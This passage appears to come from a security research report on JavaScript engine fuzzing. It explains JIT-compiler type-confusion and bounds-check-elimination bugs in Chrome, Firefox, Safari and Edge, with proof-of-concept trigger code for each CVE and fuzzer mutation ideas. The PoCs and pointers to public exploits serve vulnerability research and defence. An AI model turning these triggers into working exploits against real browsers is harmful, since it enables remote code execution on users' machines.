framework/blob/master/modules/exploits/multi/browser/firefox_proxy_prototype.rb
123https://blog.rapid7.com/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-
8636/
62
4.5 JIT optimization vulnerabilities
Just-in-Time (JIT) compilation bugs form a significant class of recently exploited
vulnerabilities. JavaScript functions are initially executed by an interpreter and if the number
of invocations reaches a specific threshold, the function is passed to JIT compilation to
optimize the code. Flawed optimization can lead to trivial exploitable conditions. For
example, when the compiler incorrectly assumed that bound or type checks can be removed.
This leads to OOB memory access which leads in most cases to:
•
an information leakage via OOB read which can be used to bypass ASLR
•
and to an OOB write, which leads to full code execution.
Optimization is performed on type feedback collected during interpretation. The compiler
speculates that in the future arguments will have the same type as previously seen. The
code is therefore compiled optimized for these observed types. Runtime checks are added
to ensure that the speculative type assumptions hold. When the types do not match at
runtime, a fallback to the interpreter is performed. This fallback is called deoptimization in v8
and bailout in SpiderMonkey.
A vulnerability occurs if the JIT implementation is flawed and the compiler can be tricked to
remove runtime checks to prevent deoptimization, although objects with different types are
passed. The following pseudo-code demonstrates this:
01: function opt(o) {
02: // code performing actions on o
03: }
04: for (let i = 0; i < 10000; i++) {
05: opt(object1);
// Give interpreter feedback for type1
06: }
07: opt(object2);
// Call optimized function with type2
The code is called in a loop to trigger the JIT compilation. After that, an object with a different
type is passed as argument. Interpreting the same function several thousand times until the
threshold for compilation gets triggered, wastes a lot of unnecessarily CPU time. Debug
builds therefore contain functionality to explicitly trigger optimization. The following code is
from v8 and must be started with the --allow-natives-syntax flag:
01: function opt(o) {
02: // code performing actions on o
03: }
04: opt(object1);
// Give interpreter feedback for type1
05: %OptimizeFunctionOnNextCall(opt);
06: opt(object2);
// Call optimized function with type2
To increase fuzzing speed the associated code from the debug build can be enabled.
63
4.5.1 Missing or incorrect type checks
Since the compiler optimizes functions based on speculative types of arguments or global
variables, code which checks these assumptions at runtime must be added. V8 translates
JavaScript code during compilation to a sea-of-nodes graph. To guarantee specific types, a
CheckMap node gets inserted in the graph. This node gets later translated to machine code
which performs the type check of the passed object. If the type does not match the
speculated type, deoptimization gets triggered.
A problem occurs if the code does not add such a CheckMap node or when the compiler
concludes in a later optimization phase that the CheckMap node is not required and can be
removed. For example, if an argument is accessed several times in a function, every access
would lead to the insertion of a CheckMap node. However, if the type of the argument cannot
change between two CheckMap nodes, the second check can be removed.
If such an optimization can incorrectly be triggered, for example by changing the type in the
correct moment where the compiler assumes that the type cannot change, it leads to
vulnerabilities similar to the presented type-confusion bugs from chapter 4.2.3.
The structure of the optimized function is always the same in this vulnerability category:
1. Initially, the target is accessed. This can be a variable, a property or an array. The
initial access ensures that a map or bound check gets added.
2. Next, code which modifies the state of the target is added. This can be code which
modifies the array length, code which changes the internal representation of
properties or code which changes the type of a variable. A flaw must exist in the
compiler which lets the compiler assume that this state modification cannot happen.
3. Finally, the target is accessed again. Since a map or bound check was already added
in step one, the compiler does not add another check if it assumes that code from
step two cannot modify the state. This leads to a type confusion.
To find new vulnerabilities of this category, a fuzzer must just fuzz code for step two. The
code for step one and three is always the same and can therefore be hardcoded which
reduces the search space.
64
Examples:
Chromium issue 460917, CVE-2015-1242 – Elements-kind type confusion
01: function opt(a1, a2) {
02: // Perform an operation on a2 that needs a map check (for DOUBLE_ELEMENTS).
03: var s = a2[0];
04: // Emit a load that transitions a1 to FAST_ELEMENTS.
05: var t = a1[0];
06: // Emit a store to a2 that assumes DOUBLE_ELEMENTS.
07: // The map check is considered redundant and will be eliminated.
08: a2[0] = 0.3;
09: }
10: // Prepare type feedback for the "t = a1[0]" load: fast elements.
11: var fast_elem = new Array(1);
12: fast_elem[0] = "tagged";
// Store an object/string
13: opt(fast_elem, [1]);
14: // Prepare type feedback for the "a2[0] = 0.3" store: double elements.
15: var double_elem = new Array(1);
16: double_elem[0] = 0.1;
// Store a double value
17: opt(double_elem, double_elem);
18: // Reset |double_elem|
19: double_elem = new Array(10);
20: double_elem[0] = 0.1;
21: %OptimizeFunctionOnNextCall(opt);
22: opt(double_elem, double_elem);
23: assertEquals(0.3, double_elem[0]);
The opt function is called in total three times. The invocations in line 13 and 17 are performed
to let the interpreter collect the required type feedback. In the first invocation the fast_elem
array is passed which stores its elements as fast elements 124. The elements-kind field in the
map is set to fast elements because a string is stored as first element, see line 12. Since a
string is stored in the array, the engine assigns the generic fast elements type. With this type
elements are stored in a contiguous buffer and accessing them using an index is therefore
fast, hence the name fast elements. Slow elements on the other hand would use a dictionary
to save the properties.
Another elements-kind value is double elements which means that only double values are
stored in the array. In such a case the floating-point representation of the values can directly
be stored in the elements buffer. If a double value is instead stored in in a fast elements
array, a pointer to a heap object, which stores the floating-point representation, would be
stored in the buffer at the provided index.
In line 8 a floating-point value is written to the array and the elements-kind field is assumed
to be double elements. The compiler assumes this because in the first two invocations from
line 13 and 17 the array just stored a SMI and a double value. The compiler therefore
speculates that the type will be double elements in the future.
That means that the floating-point representation of 0.3 is written to the elements buffer at
index zero. Typically, a map check would be added to ensure that elements kind is correct.
However, a similar map check already gets added because of line 3. The compiler assumes
124 https://v8.dev/blog/fast-properties
65
that the map of a2 cannot change between line 3 and 8 because a2 is not accessed there
and therefore omits the second map check. However, line 5 transitions the elements-kind of
a1 to fast elements because the interpreter collected during the first invocation for a1 the
type feedback of fast elements. This feedback was collected because line 12 assigned a
string to an element.
Although the interpreter sees during the second invocation from line 17 a double value stored
in a1, the compiler still transitions to fast elements because fast elements is a more generic
type which can handle strings and double values.
To exploit the bug, the function is invoked in line 22 by passing the same array as first and
second argument which means that line 5 modifies a2 because a2 and a1 reference the
same array. This is only achieved in the last call because in the second function invocation
in line 17 the code was not optimized yet. During the last invocation the compiled code writes
in line 8 the floating-point representation to the elements buffer although elements-kind
changed to fast elements. When the element is later accessed as done in line 23, the written
floating-point value gets interpreted as a pointer to a heap object because of the updated
elements-kind field. This means that arbitrary objects can be faked in memory by writing the
address of the fake object as floating-point value using this vulnerability.
Generalization for variation analysis:
•
A fuzzer should create functions with two or more arguments and call the function
until compilation is triggered. It is important that in every function invocation the
passed arguments are different and do not point to the same object in-memory. The
optimized function should finally be called with both or all arguments pointing to the
same object to trigger vulnerabilities.
•
One of the first instructions in such functions should access the elements to include
at the beginning a map check like done in line 3. One of the last instructions should
write to the elements like done in line 8. The code in between should be fuzzed. It is
important that this code is not too long. If the code contains a function call which can
trigger side effects, the map check at the end would not get removed.
•
A fuzzer should use the OptimizeFunctionOnNextCall native function to trigger
optimization.
•
A common strategy during fuzzing is to wrap code within try { /* code */ }
catch (e) {} blocks. If the fuzzer creates invalid code, which happens frequently
using random fuzzing, the code would catch the exception and the remaining code
would continue execution. However, the exception handling code hinders the
compiler from performing optimization and JIT vulnerabilities can therefore not be
found. [39] The fuzzilli fuzzer solved this problem by introducing an IL and performed
mutations on the IL. Lifting the IL back to JavaScript code ensured that mainly valid
code gets generated.
66
Chromium issue 722756, CVE-2017-5070 – Type-Confusion because of incorrect
optimization
01: var array = [[{}], [1.1]];
02: var double_array = [1.1, 2.2];
03: var flag = 0;
04: var expected = 6.176516726456e-312; // Internal representation: 0x12312345671
05: function transition() {
06: for (var i = 0; i < array.length; i++) {
07: var arr = array[i];
08: arr[0] = {};
// Store an obj in “array”
09: }
10: }
11: function swap() {
12: try { } catch (e) { } // Prevent compiler from inlining the function
13: if (flag == 1) {
14: array[1] = double_array;
15: }
16: }
17: function opt() {
18: swap();
19: double_array[0] = 1;
// Step1: Access the object to add a check maps node
20: transition();
// Step2: Modify the assumptions (code gets inlined)
21: double_array[1] = expected;// Step3: Not protected access
22: }
23: for (var i = 0; i < 0x10000; i++) {
24: opt(); // Trigger optimization
25: }
26: flag = 1;
27: opt();
// Call the compiled code with the modified flag to trigger the bug
28: assertEquals(expected, double_array[1]);
The function opt is optimized for the case that the global variable flag is zero which means
that the assignment from line 14 in the swap function is not performed. During the first
executions of line 19 and 21, the elements-kind field of double_array is therefore double
values. The reason for this is that only numbers were so far assigned to the array, see line
2. The transition function call in line 20 does not has an effect on double_array during the
first executions because the code just modifies elements from the array variable, see line 7
and 8. The compiler adds a map check for the access in line 19 and for the access in line
21. The second map check for line 21 gets incorrectly later removed because the compiler
assumed that the inlined transition function cannot change the type of double_array.
However, this assumption does not hold. After optimization, the flag is changed in line 26,
which leads to the execution of line 14 in the swap function. The swap function assigns the
double array to array which means the later transition function invocation changes the
elements-kind field of double_array. The second map check would therefore be required
because the type of double_array can change between line 19 and 21, but this check was
incorrectly removed. The optimized code for line 21 therefore writes a raw floating-point
value, although a pointer to a heap object should be written. This allows the creation of
arbitrary heap objects in-memory which leads to full code execution.
An exploit is available in the issue tracker 125.
125 https://bugs.chromium.org/p/chromium/issues/detail?id=722756
67
Generalization for variation analysis:
•
A fuzzer should sometimes add try {} catch (e) {} code as first line in a function
to prevent the compiler from inlining the function. In the PoC it is important that the
swap function does not get inlined, otherwise the compiler would optimize the opt
function differentially.
•
A fuzzer should mutate code by wrapping assignments, like line 14, or other code
within a function which performs the action depending on a global flag. The flag
should then be flipped just before the final function call to the optimized code occurs.
This concept is similar to the swap function in the above PoC.
•
A fuzzer should create functions with cross-effects. For example, the construction of
two related functions, like the swap and the transition function in the above PoC, is
required. By just using one function which changes the element-kind field, the
discussed vulnerability cannot be triggered. A fuzzer should be able to create such
constructs with two or more related functions.
•
It is important that the transition function does not start with a try-catch block like line
12. This ensures that the compiler can inline the function call in line 20 which is
required to trigger the vulnerability. Function calls between step one and step three
should therefore just contain code which can be inlined.
68
Chromium issue 746946 (2019) – Type-Confusion via elements-kind transition with a
deprecated map
01: function change_elements_kind(a) { a[0] = Array; } // Assign an object
02: function read_as_unboxed() {
03: return evil[0]; // Will get optimized to read unboxed values (raw double values)
04: }
05: change_elements_kind({}); // Let the interpreter collect type feedback for an empty object
06:
07: map_manipulator = new Array(1.0, 2.3); // has map M0.
08: map_manipulator.x = 7; // Create an 'x' property transition from M0 to the new M1 map
09: change_elements_kind(map_manipulator); // Let the interpreter collect the M1 type feedback
10:
11: // the type of the 'x' property changes (previously SMI, now generic objects),
12: // therefore, the M0 to M1 transition for 'x' will get removed.
13: // M1 will be marked as deprecated
14: map_manipulator.x = {}; // map M2 is created with a 'x' property transition from M0
15:
16: evil = new Array(1.1, 2.2); // Create another object with the M2 map
17: evil.x = {};
// must be an object because line 14 also assigns an object
18:
19: // Optimize the change_elements_kind() function:
20: // The compiler will iterate through all seen maps, including the deprecated M1 map,
21: // to update the elements-kind field to a more specific one.
22: // Since M1 is deprecated, the compiler looks for a suitable non-deprecated map.
23: // The compiler will find M2 because the properties are the same.
24: // Therefore, a transition from M2 to a more specific-elements kind will be generated
25: x = new Array({});
26: for (var i = 0; i < 0x50000; i++) {
27: change_elements_kind(x);
28: }
29:
30: // Optimize the read_as_unboxed() function:
31: // The variable "evil" is currently an instance of map M2
32: // The function will therefore be optimized for fast unboxed double element access,
33: // because all evil elements are just double values
34: for (var i = 0; i < 0x50000; i++) {
35: read_as_unboxed();
36: }
37:
38: // Trigger an elements-kind change on evil. Since change_elements_kind() was optimized with an
39: // elements kind transition, the elements-kind field will change in evil's map M2.
40: change_elements_kind(evil);
41:
42: // Call read_as_unboxed. The map M2 is still the same, so a cache miss does not occur, and the
43: // optimized version gets executed. However, the elements-kind changed in the meantime!
44: alert(read_as_unboxed()); // Leaks a pointer as a double value
The
vulnerability
occurs
because
two
functions,
change_elements_kind
and
read_as_unboxed, are compiled to handle arguments which have the same map. However,
one of these functions can be forced to change the elements-kind of the map from the passed
object. Since the second function was already optimized for the map, when it had a different
elements-kind value, a type-confusion occurs, and object pointers can be interpreted as
double values and vice versa. This leads to arbitrary read and write access and therefore to
full code execution.
To achieve this, an object with double elements and a property x is generated in line 7 and
8. In the following discussion the map of the object is designated as M1. Line 9 invokes the
change_elements_kind function and passes the object to let the engine collect the type
feedback M1. Line 14 modifies the x property from a SMI to an object which leads to a new
map M2 and the previous M1 map will be marked as deprecated. After that, a new object
named evil is created in line 16 with map M2.
69
The function change_elements_kind is called in a loop in line 27 to trigger optimization.
During optimization the compiler decides to assign a generic elements-kind type to optimize
the property access because line 1 stores an object in the first elements slot. Because of
this, the compiler adds code to handle every previously seen map. Since the function was
already executed with an argument of type M1 in line 9, code to update the elements-kind
field in the M1 map would be added. Since the map is deprecated, the compiler searches for
a suitable non-deprecated map which is M2 because it has the same properties. Therefore,
code gets added which changes the elements-kind field in the M2 map, in case such an
object is passed to the function.
In line 35 optimization of the read_as_unboxed function is triggered. Since the evil variable
has M2 as map, which stores elements as unboxed double values, see line 7 and 16, the
function is optimized to return the accessed element as raw floating-point value. Unboxed
means in this context, that a raw floating-point value is read instead of a pointer to a heap
object which stores the double value. To ensure that elements are stored as raw double
values, a CheckMaps node is added which ensures that the map of the passed argument is
M2.
Line 40 calls the change_elements_kind function to change the elements-kind of the evil
variable from double values to generic elements. During optimization code to handle the M2
map was added. This code therefore updates the elements-kind field of the map of evil,
which is M2, without creating a new map. Because the elements-kind field changed, double
values are no longer stored as raw double values. Instead, raw double values are replaced
by pointers to heap objects which store the double value.
Line 44 executes the read_as_unboxed function as final step. This function was previously
optimized to read elements as raw floating-point values. It protected this assumption by
checking the map against M2. However, in the meantime the elements-kind in M2 changed
to generic elements instead of double values which means the map check does not protect
against this type confusion anymore.
To prevent this from happening, functions optimized for M2 would need to get deoptimized
as soon as the elements-kind field of M2 changes. This was implemented for normal maps.
However, the function was optimized for the deprecated M1 map which lead to the insertion
of code to handle M2 maps. Because of the deprecated map, the compiler forgot to
deoptimize the functions in this edge case. A writeup and exploit is available at 126.
Generalization for variation analysis:
•
A fuzzer should create functions which are optimized to read values as unboxed
double values.
•
A fuzzer should create functions which are optimized to change the elements-kind.
•
A fuzzer should add code which creates deprecated maps.
126 https://ssd-disclosure.com/archives/3379
70
Chromium issue 941743, CVE-2019-5825 – Type-Confusion in Array.prototype.map
between contiguous and dictionary array
01: Array(2**30); // This call ensures that TurboFan won't inline array constructors.
02: let a = [1, 2, , 3]; // fast holey smi array
03: function opt(a) {
04: return a.map(v => v); // call Array.prototype.map() inside the optimized function
05: }
06: opt(a); // Let interpreter collect type feedback
07: %OptimizeFunctionOnNextCall(opt);
08: // Lengthen the array, but ensure that it points to a non-dictionary backing store.
09: a.length = 0x2000000-1;
10: a.fill(1,0); // can take several minutes in debug build
11: a.push(1);
12: a.length += 1;
13: opt(a); // the non-inlined array constructor produces an dictionary elements array
In the first call to the opt function the interpreter collects type feedback for later optimization.
In this invocation a contiguous array with holes is passed. The OptimizeFunctionOnNextCall
native function tells v8 to optimize the function as soon it gets called again. The last line
performs this call which leads to the optimization of the function based on the collected
feedback. The Array.prototype.map function creates a new array by calling the array
constructor and then assigns all values by calling the passed callback function. The used
callback function just creates a copy of the array by returning the unmodified elements.
Typically, the array constructor is not called but is instead inlined during the call-reducer
optimization phase. This is prevented by the first code line (Array(2**30)) which has the
side-affect that ensures that subsequent array constructors do not get inlined.
During the second opt function invocation from line 13 the passed array has a length of
0x2000001. If the array constructor is called with a length bigger than 0x2000000, a
dictionary array gets created. However, the passed array is a contiguous array because it
was created with a length of 0x2000000-1. The fill call is required because sparse arrays are
stored as dictionary arrays and the fill call ensures that all indexes are in-use and the array
is therefore not sparse. By calling push afterwards and increasing the length by one the
length becomes bigger than 0x2000000 which leads to the creation of a dictionary array
during the map call. The code assumes that both arrays have the same type which leads to
a type-confusion which can be used to modify the length of an array. Exploitation is
afterwards trivial and similar to several other public exploits.
The bug was reported 127 to the developers in early March 2019. A fix including a regression
test was pushed upstream to the public 128 on 2019-03-18. Exodus Intelligence published a
detailed blog post 129 together with an exploit 130 on 2019-04-03 which affecting the current
release version of Chrome at that time. Chrome 74, which fixed the vulnerability, was
released on 2019-04-23. Rabet, a researcher from Microsoft Offensive Security research
127 https://bugs.chromium.org/p/chromium/issues/detail?id=941743
128 https://chromium-review.googlesource.com/c/v8/v8/+/1526018
129 https://blog.exodusintel.com/2019/04/03/a-window-of-opportunity/
130 https://github.com/exodusintel/Chromium-941743
71
team, already stressed in 2018 the fact that Google makes regression tests of security
vulnerabilities public available before a fixed release is shipped: “Google regularly 0-days
itself, which is not great.” 131
Generalization for variation analysis:
•
The code Array(2**30) should sometimes be added by a fuzzer at the start of a
test case to prevent the TurboFan compiler from inlining array constructors.
•
A fuzzer should sometimes create arrays with holes.
•
To create a contiguous array with a length value which would typically result in a
dictionary array, the code from lines 9 to 12 can be used. However, calling the fill
function in a so large array consumes several minutes in the debug v8 build because
of the additional debug checks. These vulnerabilities would therefore not be found
during fuzzing because the test case would first timeout. To solve this problem the
v8 code can be adapted by adding a native function which fakes this behavior, similar
to the OptimizeFunctionOnNextCall function.
Chromium issue 659475, CVE-2016-5198 (Mobile Pwn2Own 2016) – Incorrect stable
map assumption for global variables leads to OOB access
01: function Ctor() {
02: n = new Set();
// map with an empty property array
03: }
04: function Check() {
05: n.xyz = 0x826852f4;
// map with a property array for property xyz
06: parseInt();
// Prevent inlining; args must not be passed
07: }
08: for (var i = 0; i < 2000; ++i) {
09: Ctor();
// Trigger optimization
10: }
11: for (var i = 0; i < 2000; ++i) {
12: Check();
// Trigger optimization
13: }
14: Ctor();
// Let elements of >n< point to an empty array
15: Check(); // The compiled code doesn’t check the map and OOB access occurs
The map of an object stores structure and type information of the used properties. A new
map is therefore assigned as soon as a property is added. Initially, the n variable in line 2 is
a Set with an empty property array. In line 5 the property xyz is assigned and therefore the
map changes.
Optimization of the ctor function is triggered in line 9. Since the check function is also invoked
in a loop, optimization is also triggered for this function. The first execution changes the map
of the n variable because a property gets assigned. The later optimization is done under the
assumption that n has always the same map in subsequent calls, however, no code is added
to guarantee that this assumption holds. The root cause of this vulnerability is that the
Crankshaft compiler assumed a stable map for global variables. The function call in line 14
changes the property array of the global n variable back to an empty array. When line 15
131 https://www.youtube.com/watch?v=sheeWKC6CuM
72
calls the optimized check function, the compiled code still assumes the original map without
performing a check and just writes to the property array. This leads to an OOB access in the
empty property array.
The vulnerability was exploited during Mobile Pwn2Own 2016 to remotely compromise a
Nexus phone. It was fixed 132 on 2016-11-26 which means a regression test, which triggers
this vulnerability, was publicly available since November 2016. Exploitation details were
presented at CanSecWest 2017 and can be found at 133. A Chinese writeup with a full exploit
was published in April 2019 and can be found at 134.
Since Chromium is not the only software which integrates v8, a lot of other applications are
also prone to vulnerabilities in the v8 engine. Notable is especially Foxit Reader, one of the
key products from Foxit. “Foxit has over 560 million users and has sold to over 100,000
customers located in more than 200 countries.” 135
Foxit Reader 9.6.0 was released on 2019-07-04 with the v8 engine in version 5.4.500.36
which was released three years earlier in October 2016. With Foxit Reader version 9.7.0,
released on 2019-09-29, the v8 engine was updated to a version not prone to CVE-2016-
5198. This left a 35-month window of opportunity for attackers capable of writing an exploit
based on public patch information and left a 6-month window for attackers capable of copy
and pasting a publicly available exploit into a PDF file to attack Foxit Reader users.
Generalization for variation analysis:
•
Calls to parseInt() should be added by a fuzzer to prevent function inlining.
•
Problems can occur when different compilers are mixed with each other. For
example, when one function is optimized by TurboFan and another by Crankshaft.
•
A fuzzer should add code which re-assigns a value to a global variable and code
which assigns a property to the same variable at different locations.
132 https://chromium.googlesource.com/v8/v8.git/+/d0a047d440ea6283f9e63056cf5ec1fa3203e309
133 https://cansecwest.com/slides/2017/CSW2017_QidanHe-GengmingLiu_Pwning_Nexus_of_Every_Pixel.pdf
134 http://eternalsakura13.com/2019/04/29/CVE-2016-5198/
135 https://www.foxitsoftware.com/company/about.php
73
Chromium issue 944062 (2019) – Missing map check in ReduceArrayOfIncludes when
an unreliable map is inferred
01: const array = [42, 2.1];
// non-stable map (PACKED_DOUBLE)
02: let cond = false;
03: function change_assumption() {
04: if (cond) array[100000] = 4.2; // change to dictionary mode
05: return 42;
06: };
07: function opt() {
08: return array.includes(change_assumption());
09: }
10: opt();
11: %OptimizeFunctionOnNextCall(opt);
12: opt();
13: cond = true;
14: opt(); // Trigger OOB
When the opt function gets optimized the internal implementation of Array.includes calls
InferReceiverMaps to obtain the map of the array to add a type specific implementation. In
line 1 the elements-kind of the array variable is initially set to PACKED_DOUBLE. The
compiler therefore adds code which implements the Array.includes function for
PACKED_DOUBLE elements. However, the InferReceiverMaps function can return
kUnreliableReceiverMaps which means that the caller must add a CheckMap node to ensure
that the inferred map matches the runtime one. However, the code did not add a CheckMap
node and just relied on the inferred unreliable map.
In the PoC the function change_assumption is invoked as argument to Array.includes which
changes elements-kind to a dictionary array. A dictionary is used because a high index is
accessed in line 4 which would waste a lot of space if the elements would be stored
continuously. The optimized Array.includes code then leads to OOB access because it
assumes PACKED_DOUBLE values instead of a dictionary.
The following code is a variation of the vulnerability:
01: function opt(idx, arr) {
02: arr.__defineSetter__(idx, () => { }); // change elements-kind to dictionary
03: return arr.includes(1234);
// Leads to OOB
04: }
05: opt('', []);
06: opt('', []);
07: %OptimizeFunctionOnNextCall(opt);
08: opt('1000000', []);
Instead of a function invocation passed as argument, a getter is defined to change elements-
kind to a dictionary.
A writeup of the vulnerability is available at 136.
136 https://googleprojectzero.blogspot.com/2019/05/trashing-flow-of-data.html
74
Generalization for variation analysis:
•
A fuzzer should add code at random locations which sets a high index of an array,
such as 100,000, to a value to change elements-kind of the array to a dictionary.
•
A fuzzer should replace values, which are passed as function arguments, with
function invocations. Then, the original value can be returned by the function and
additional code can be executed within the function. For example, in the first PoC,
the value 42 could original be passed as argument in line 8. During mutation this
value could be wrapped within a function call and additional code like line 4 can be
executed.
•
During source code analysis focus can be put on code locations where
InferReceiverMaps() is called and where the kUnreliableReceiverMaps string is not
found. This hints that the return value of the function is not correctly checked for
unreliable maps.
Firefox bug 1544386, CVE-2019-11707 (exploited in-the-wild in 2019 against Coinbase)
– Incorrect Array.prototype.pop() return type prediction
01: // Run with --no-threads for increased reliability
02: const a = [{ a: 0 }, { a: 1 }, { a: 2 }, { a: 3 }, { a: 4 }];
03: function opt() {
04: if (a.length == 0) {
05: a[3] = { a: 5 }; // change array length to 4 by accessing index 3
06: }
07: // pop the last value. IonMonkey will, based on inferred types, conclude
08: // that the result will always be an object,
09: // which is untrue when p[0] gets fetched.
10: const tmp = a.pop();
11: tmp.a; // this crashes when the controlled double value gets dereferenced
12: for (let v15 = 0; v15 < 10000; v15++) { } // Force JIT compilation
13: }
14: var p = {};
15: p.__proto__ = [{ a: 0 }, { a: 1 }, { a: 2 }];
16: p[0] = -1.8629373288622089e-06; // 0xbebf414141414141
17: a.__proto__ = p;
18: for (let i = 0; i < 1000; i++) {
19: opt(); // Trigger optimization
20: }
The variable a is initialized as an array of objects in line 2. In lines 15 to 17 the prototype of
a is changed to an object which has an array of objects as prototype and with an element at
index zero being a double value. In line 19 the opt function is called in a loop. This result,
after several function invocations, in all original elements from line 2 getting popped in line
10. After popping the last element from line 2, the pop call would return undefined and the
values from line 15 and 16 would not get popped.
However, as soon as all elements are popped, line 5 gets executed which changes the array
length to 4 without changing the inferred object element type because an object gets again
assigned. When the function gets recompiled, the compiler assumes that a.pop() still returns
objects because the element at index three was also set to an object in line 5. The compiler
therefore incorrectly omits type checks for line 11 and just assumes that the pop call always
returns an object which leads to a type confusion.
75
Because line 5 just set the value for index three, later pop() calls pop the values from line
15, except the value from index zero. When the value at index zero gets popped, the value
from line 16 is returned which is a double value. Because the compiler assumed a pointer to
a heap object as return value, the double value is incorrectly dereferenced which leads to a
crash. Since the value can fully be controlled, it can be used to fake objects in-memory which
leads to arbitrary read and write and therefore to full code execution. The root cause of the
vulnerability is that the compiler only checks the element types of the array and the element
types of the array prototype, however, lines 16 and 17 create a prototype in the middle of
the prototype chain with a different type which is not checked.
The vulnerability was independently found by Groß from Google Project Zero with the fuzzilli
fuzzer and by criminals, which used it against cryptocurrency exchange employees at
Coinbase 137. A detailed writeup of the vulnerability is available at 138 and at 139. An exploit is
available at 140.
Generalization for variation analysis:
•
A fuzzer should add objects in the middle of a prototype chain with elements stored
as double values or as objects. Moreover, these objects can also be used to trigger
callbacks. The objects should be stored in the middle of the prototype chain to bypass
checks which just check the first and last objects in the prototype chain.
•
A fuzzer should add if-conditions which are just executed once in multiple executions
and with code which change assumptions.
•
A fuzzer should add pop() calls on arrays and access the popped value or properties
afterwards.
Firefox bug 1538006, CVE-2019-9813 (Pwn2Own 2019) – Incorrect handling of proto
mutations
01: function opt(o, changeProto) {
02: if (changeProto) {
03: o.p = 42;
04: o.__proto__ = {};
// Change prototype
05: }
06: o.p = 13.37;
07: return o;
08: }
09: for (let i = 0; i < 1000; i++) {
10: opt({}, false);
// Trigger JIT compilation
11: }
12: for (let i = 0; i < 10000; i++) {
13: let o = opt({}, true);
14: eval('o.p');
// Crash here
15: }
137 https://blog.coinbase.com/responding-to-firefox-0-days-in-the-wild-d9c85a57f15b
138 https://blog.bi0s.in/2019/08/18/Pwn/Browser-Exploitation/cve-2019-11707-writeup/
139 https://vigneshsrao.github.io/writeup/
140 https://github.com/vigneshsrao/CVE-2019-11707
76
In line 10 the opt function is optimized for the case that the argument changeProto is false.
The code is therefore optimized to store in line 6 the property p as a double value. Firefox
stores for every variable an object group and a shape. The shape is basically just another
synonym for the map or structure of an object and the object group is used to store the
prototype and type information. When changeProto is changed to true in line 13, the function
gets recompiled because the object group changes because line 4 assigns a new prototype.
However, the shape is still the same because line 3 and 6 access the same property and
therefore have the same property structure. Only the type changes because line 3 assigns
a SMI and not a double value, but types are stored in the object group. That means that code
must be generated for line 6 which first checks the object group. Such code is called a type
barrier in Firefox. The vulnerability exists because this type barrier is not added in this case.
Only code is generated which writes a double value to the first inline cache of object o to
store property p. However, since the type changed, a boxed double value should be written
but the code writes an unboxed double value. That means that a raw double value is written
instead of a pointer to a heap object holding the double value. Since the written value can
fully be controlled, arbitrary objects can be faked in memory which leads to full code
execution.
The vulnerability was exploited during Pwn2Own 2019. Exploitation details can be found in
the Google Project Zero bug tracker 141 and at 142.
Generalization for variation analysis:
•
A fuzzer should add Boolean variables as arguments to JIT compiled functions and
flip the value after JIT compilation was performed to trigger additional operations.
•
A fuzzer should change the __proto__ property of variables at random locations.
•
A fuzzer should wrap code sometimes within an eval() call.
141 https://bugs.chromium.org/p/project-zero/issues/detail?id=1810
142 https://www.zerodayinitiative.com/blog/2019/4/18/the-story-of-two-winning-pwn2own-jit-vulnerabilities-in-
mozilla-firefox
77
4.5.2 Missing or incorrect bound checks
Incorrect optimization bugs, which remove bound checks, can easily occur and can often not
be obvious at first glance. An example is the CTF challenge Pwn-just-in-time created for
Google CTF 2018 Finals. It added a duplicate addition reducer which combined two additions
to a single addition when both operands were hardcoded numbers. For example, code like
some_variable+1+1 was optimized to some_variable+2. This optimization seems correct,
however, in JavaScript it is not. JavaScript stores numbers in the IEEE-754 double format
which means the maximum value, which can be stored without precision lose, is
9,007,199,254,740,991. Figure 5 shows the output of a JavaScript shell which demonstrates
that the mentioned optimization is not correct because of precision lose with larger values:
Figure 5: Precision lose in JavaScript
This incorrect optimization can be exploited because a runtime value can be created, which
is different to the assumed value by the compiler. This means code can be created which
incorrectly removes array bound checks which therefore leads to OOB access. Exploitation
details and an exploit for the challenge can be found at 143.
In February 2019 hardening against bound check elimination vulnerabilities was
implemented in v8 144. If the compiler can guarantee that a bound check is not required, the
check is no longer eliminated and instead kept. If the check fails, the code aborts. This is
also observed by various researchers: “What a bummer! There is no elimination of bounds
checking anymore. [..] v8 has now implemented certain hardening that will either deoptimize
the code or straight abort when trying to access out-of-bounds on the array. Yikes! What an
ending! [...] Finally, we can see that browser development goes too fast, like very fast, and
because of this, browser exploitation goes obsolete in just a few months, making it a real cat
and the mouse race to actually get exploits going [..].” 145
Techniques to circumvent the hardening in certain situations were published three months
later by Fetiveau 146 and by Zhao 147.
143 https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/
144 https://bugs.chromium.org/p/v8/issues/detail?id=8806
145 https://sensepost.com/blog/2020/intro-to-chromes-v8-from-an-exploit-development-angle/
146 https://doar-e.github.io/blog/2019/05/09/circumventing-chromes-hardening-of-typer-bugs/
147 https://gts3.org/2019/turbofan-BCE-exploit.html
78
Examples:
Safari CVE-2017-2547 (Pwn2Own 2017) – Missing array bound check
01: let arr = new Uint32Array(10);
02: for (let i = 0; i < 0x100000; i++) {
03: parseInt(); // Force JIT compilation
04: }
05: arr[8] = 1;
//Protected via a bound check
06: arr[-0x12345678] = 2; //OOB access because bound check is not performed a 2nd time
When an array is accessed at a specific index, the compiler adds code which checks the
array bounds to ensure that no OOB access is possible. However, if the array is accessed
in subsequent code and no side effects can happen between the code, the later bound
checks may be unnecessary. For example, if first index 20 is accessed and afterwards index
10 and 5 are accessed, the bound checks for index 10 and 5 can be removed because the
first bound check already ensured that the array has at least a size of 21. The vulnerability
occurs because only the upper bound is checked and the negative index from line 6 is always
smaller than the array size of 10. The loop in line 2 to 4 is used to enforce JIT compilation.
The vulnerability was exploited 148 by Tencent Team Sniper in Pwn2Own 2017 and found
independently one week later by lokihardt 149.
Generalization for variation analysis:
•
A fuzzer should add multiple array element access operations in JIT compiled code
and fuzz code in between, which could result in side effects.
•
The loop from line 2 to 4 can be used to enforce JIT compilation in Safari.
Edge CVE-2018-0769 – Incorrect bounds calculation
01: function opt(arr) {
02: if (arr.length <= 15) { return; } // Ensure a length of at least 15
03: let j = 0;
04: for (let i = 0; i < 2; i++) {
05: arr[j] = 0x1234; // OOB access happens in 2nd iteration
06: j += 0x100000;
07: j + 0x7ffffff0;
// INT_MAX - 0x7ffffff0 = 15; result is not stored!
08: }
09: }
10: for (let i = 0; i < 0x10000; i++) { // Force JIT compilation
11: opt(new Uint32Array(100));
12: }
In the first loop iteration the compiler assumes that j must be a value between INT_MIN and
INT_MAX at line 6. Since line 7 adds 0x7fffff0, two cases can occur. In the first case the
